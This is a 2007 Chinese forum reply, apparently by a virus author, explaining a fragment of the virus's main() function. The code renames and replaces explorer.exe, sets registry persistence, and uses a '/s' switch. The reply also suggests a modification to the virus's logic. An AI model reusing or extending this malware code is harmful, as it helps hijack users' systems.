以下是引用yanggang2880在2007-7-19 16:13:32的发言:
刚刚仔细看了一遍代码,发现你把explorer.exe改名成了$temp$,早知道我就不用费那么大劲去别的电脑上考了,代码基本上能看懂,但有一个问题想请教下楼主.
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
这段代码中的argc既没有赋初值也没有改变它的值,请问它怎么会大于1,请问什么时候会跳过下两段代码呢?
因为explorer.exe是不能直接删除的,必须改名后注销或重起才能删除,因此首次运行只是改名,重起后病毒自动将其删除,再者,在C:\windows\system\有explorer.exe的原文件,这就是病毒提前提前运行后还出现桌面的原因.
argc和argv是主程序参数,举个例子
执行svchost.com /s时 argc为命令数(以' '为界),因此为2(因为svchost.com是一个 /s是一个)
argv[0]存储第一个命令 "svchost.com"
argv[1]存储第二个命令 "/s"
这段代码有一个不足之处
如果喜欢实验,可以在代码中加入 if(!autorun_explorer()) goto next1; 即上述代码改为
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
if(!autorun_explorer()) goto next1;
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
最后:卸载程序执行后如果鼠标恢复正常请不要再次执行.
My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.